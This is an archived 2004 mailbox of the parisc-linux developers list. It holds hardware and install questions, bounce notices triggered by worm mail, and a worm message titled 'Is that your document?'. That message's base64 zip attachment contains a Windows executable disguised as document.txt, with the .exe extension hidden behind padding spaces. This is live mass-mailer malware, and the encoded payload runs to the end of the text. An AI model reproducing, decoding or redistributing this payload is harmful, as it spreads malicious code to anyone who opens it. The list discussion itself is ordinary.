Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623338 7670 80.91.229.3 (22 Nov 2014 02:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: r.scholz@bluehash.de  Tue Apr  6 23:57:48 2004
Return-Path: <r.scholz@bluehash.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail.medianet-world.de [213.157.0.167])
	by dsl2.external.hp.com (Postfix) with SMTP id 645594DD3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 23:57:48 -0600 (MDT)
Original-Received: (qmail 444 invoked from network); 7 Apr 2004 05:57:36 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.11.168)
	by mail.medianet-world.de with SMTP; 7 Apr 2004 05:57:36 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
	rv:1.6) Gecko/20040113
X-Accept-Language: de-de, de, en-us, en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 05:57:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21304

Hello,

my HP 715/100 has an extra graphics card (HCRX-24?). Now I have read 
that some 715s have an EISA-Slot instead of this graphics card. Can I 
replace my graphics card with an EISA-Card. And if yes, can I also use 
an ISA-card (e.g. an ISDN-Card)?

T.i.a,
    Ruediger


From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA-Card in 715 /100
Date: Wed, 7 Apr 2004 08:20:17 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <1152.192.168.1.54.1081318817.squirrel@www.puszczka.com>
References: <40739896.7010600@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623339 7932 80.91.229.3 (22 Nov 2014 02:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Original-X-From: ajwalker@broadpark.no  Wed Apr  7 00:10:30 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82D514DD3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 00:10:30 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (87.80-203-39.nextgentel.com
	[80.203.39.87]) by mail.broadpark.no (Postfix) with ESMTP
	id 09CB38E1D; Wed,  7 Apr 2004 08:10:27 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 7D1D07E9A; Wed,  7 Apr 2004 08:20:17 +0200 (CEST)
Original-Received: from 192.168.1.54 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Wed, 7 Apr 2004 08:20:17 +0200 (CEST)
In-Reply-To: <40739896.7010600@bluehash.de>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 06:10:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21305

> Hello,
>
> my HP 715/100 has an extra graphics card (HCRX-24?). Now I have read
> that some 715s have an EISA-Slot instead of this graphics card. Can I
> replace my graphics card with an EISA-Card. And if yes, can I also use
> an ISA-card (e.g. an ISDN-Card)?
>
> T.i.a,
>     Ruediger

Hi Rdiger,

As I understand it, EISA was provided on the 715s by an adapter card that
sat in the GSC slot. Seems reasonable as both are controlled by WAX. So if
you have a GSC card in the slot you presumably don't have the adapter.

In theory you can use ISA cards in EISA slots, but cars needing DMA will
not work.

-Andy


From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "System Administrator" <postmaster@cpm.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable:I cannot forget you!
Date: Wed, 7 Apr 2004 07:46:16 -0300
Lines: 90
Approved: news@gmane.org
Message-ID: <10DB612FC8814C47BE38C9445CC75EAE01F5A2@srv27.cpmsa.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report;
	boundary="----_=_NextPart_001_01C41C8D.8DAA655C";
	report-type=delivery-status
X-Trace: ger.gmane.org 1416623339 7933 80.91.229.3 (22 Nov 2014 02:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Wed Apr  7 06:34:53 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from srv27.cpmsa.com.br (unknown [200.178.3.155])
	by dsl2.external.hp.com (Postfix) with ESMTP id 013804875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 06:34:53 -0600 (MDT)
Content-Class: urn:content-classes:dsn
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Thread-Topic: I cannot forget you!
Thread-Index: AcQcjS1dJrxZJoh/EdiZrwACs7GWPwAAGBPz
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 12:34:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21306

This is a multi-part message in MIME format.

------_=_NextPart_001_01C41C8D.8DAA655C
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Your message

  To:      jcolman@bigfoot.com
  Subject: I cannot forget you!
  Sent:    Wed, 7 Apr 2004 07:45:29 -0300

did not reach the following recipient(s):

John Edward Colman on Wed, 7 Apr 2004 07:43:37 -0300
    The e-mail system was unable to deliver the message, but did not
report a specific reason.  Check the address and try again.  If it still
fails, contact your system administrator.The MTS-ID of the original
message is:c=3Dbr;a=3D ;p=3Dcpm;l=3DSRV2040407104323YJ9K27


------_=_NextPart_001_01C41C8D.8DAA655C
Content-Type: message/delivery-status
Content-Transfer-Encoding: 7bit

Original-Envelope-ID: c=br;a= ;p=cpm;l=SRV2040407104323YJ9K27
Reporting-MTA: dns; srv27.cpmsa.com.br

Final-Recipient: RFC822; john.colman@cpm.com.br
Action: failed
Status: 5.4.0
X-Display-Name: John Edward Colman

------_=_NextPart_001_01C41C8D.8DAA655C
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit

Received: from mail.bigfoot.com (mail-kr.bigfoot.com [211.115.216.225]) by
	srv2.cpm.com.br with SMTP (Microsoft Exchange Internet Mail
	Service Version 5.5.2653.13) id 23YJ9K27;
	Wed, 7 Apr 2004 07:43:27 -0300
Received: from bigfoot.com ([203.101.38.158]) by BFLITEMAIL-KR2.bigfoot.com
	(LiteMail v3.03(BFLITEMAIL-KR2)) with SMTP id
	0404070629_BFLITEMAIL-KR2_250224_69643400;
	Wed, 07 Apr 2004 06:43:39 -0400 EST
Content-Class: urn:content-classes:message
Subject: I cannot forget you!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----_=_NextPart_002_01C41C8D.28947180"
Date: Wed, 7 Apr 2004 07:45:29 -0300
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Thread-Topic: I cannot forget you!
Thread-Index: AcQcjS1dJrxZJoh/EdiZrwACs7GWPw==
From: <parisc-linux@lists.parisc-linux.org>
To: <jcolman@bigfoot.com>

This is a multi-part message in MIME format.

------_=_NextPart_002_01C41C8D.28947180
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

lovely, :-)

+++ Attachment: No Virus found
+++ MessageLabs AntiVirus - www.messagelabs.com


------_=_NextPart_002_01C41C8D.28947180
Content-Type: text/plain;
	name="Deleted Attachment.txt"
Content-Transfer-Encoding: base64
Content-Description: Deleted Attachment Report
Content-Disposition: attachment;
	filename="Deleted Attachment.txt"

WW91ciBhdHRhY2htZW50ICJwaG90by56aXAiIGNvbnRhaW5lZCB2aXJ1c2VzOg0KICAgICAgICAg
IlczMi5OZXRza3kuUEBtbSIsIA0KICAgICAgICAgYW5kICJXMzIuTmV0c2t5LlBAbW0iIGF0IGxv
Y2F0aW9uICJkYXRhLnJ0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5zY3INCkl0IHdhcyBkZWxldGVkIGFu
ZCByZXBsYWNlZCB3aXRoIHRoaXMgdGV4dCBmaWxlLg==

------_=_NextPart_002_01C41C8D.28947180--

------_=_NextPart_001_01C41C8D.8DAA655C--


From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems installing on k 200
Date: Wed, 7 Apr 2004 15:06:01 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <OF340E924B.3CE17FA1-ONC1256E6F.0047D690@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623339 7936 80.91.229.3 (22 Nov 2014 02:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: JKonrad@linotype.com  Wed Apr  7 07:07:20 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (events.linotypelibrary.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51AF14875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 07:07:20 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id 59042B41AE; Wed,  7 Apr 2004 15:07:11 +0200 (CEST)
Original-Received: from www.fonts.de (bhonet00003.fonts.de [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP id 3A668B41AA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 15:07:09 +0200 (CEST)
Original-Received: from domino001.fonts.de (webmail.linotype.com [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP id B32114C0AB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 15:07:06 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/07/2004 03:06:17 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 13:07:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21307

Hi,

I have just tried to install my K 200 with this netinstall.iso:

palinux-2.4.21-pa6-20030718-netinst.iso

which is the newest. This image allows me to fully install the machine using the CD, but when I reboot my machine, it boots Linux, then hangs, telling me:

bin/sh: /dev/ttyB0: No such device

It looks like the kernel on the CD supports ttyB0, but the kernel the CD installs does not. How can that be, and how can I fix this?

Yours,

Jay

P.S.: The latest full image debian-30r1-hppa-binary-NONUS.iso won't even let me install, it hangs immediately, telling me my console isn't right, although I set it on ttyB0 with IPL.

PPS: the e-mail for bug reports does not seem to work anymore






From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Unknown <unknown@unknown.invalid>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable message returned to sender
Date: Wed,  7 Apr 2004 17:08:07 +0000 (UCT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20040407170807.CFB9A19B86C@mail4-ash-R.bigfish.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623340 7938 80.91.229.3 (22 Nov 2014 02:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Wed Apr  7 11:08:09 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail4-ash-R.bigfish.com (mail-ash.bigfish.com [206.16.192.253])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6C2E4E15
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 11:08:08 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by mail4-ash-R.bigfish.com (Postfix) with ESMTP id CFB9A19B86C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 17:08:07 +0000 (UCT)
Original-From: Content Filter <>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 17:08:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21308

This message was created automatically by mail delivery software.

Delivery failed for the following recipients(s):
 	walbert@nixonpeabody.com

The message you sent contained an attachment which the recipient has chosen to block.
Usually these sort of attachments are blocked to prevent malicious software from
being sent to the recipient in question.

The name(s) of the blocked file(s) follow:
	message.scr

If there is a legitimate business reason for sending this attachment to Nixon Peabody LLP, please contact the recipient or the Nixon Peabody LLP Help Desk at (866) 435-7671 or (585) 263-1515.

----- Original Message Header -----
Received: by mail4-ash (MessageSwitch) id 1081357686707921_24027; Wed,  7 Apr 2004 17:08:06 +0000 (UCT)
Received: from nixonpeabody.com (wsip-66-210-233-254.no.no.cox.net [66.210.233.254])
	by mail4-ash.bigfish.com (Postfix) with ESMTP id 7D54019B814
	for <walbert@nixonpeabody.com>; Wed,  7 Apr 2004 17:07:04 +0000 (UCT)
From: parisc-linux@lists.parisc-linux.org
To: walbert@nixonpeabody.com
Subject: Mail Delivery (failure walbert@nixonpeabody.com)
Date: Wed, 7 Apr 2004 12:07:01 -0500
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040407170704.7D54019B814@mail4-ash.bigfish.com>


From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dotmart@cybernex.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Is that your document?
Date: Wed, 7 Apr 2004 13:12:50 -0400
Lines: 575
Approved: news@gmane.org
Message-ID: <20040407171026.BA4F54E42@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623340 7940 80.91.229.3 (22 Nov 2014 02:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: dotmart@cybernex.net  Wed Apr  7 11:10:30 2004
Return-Path: <dotmart@cybernex.net>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA4F54E42
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Apr 2004 11:10:26 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 17:10:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21309

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

I have attached it to this mail.


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="part6_parisc-linux.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="part6_parisc-linux.zip"

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
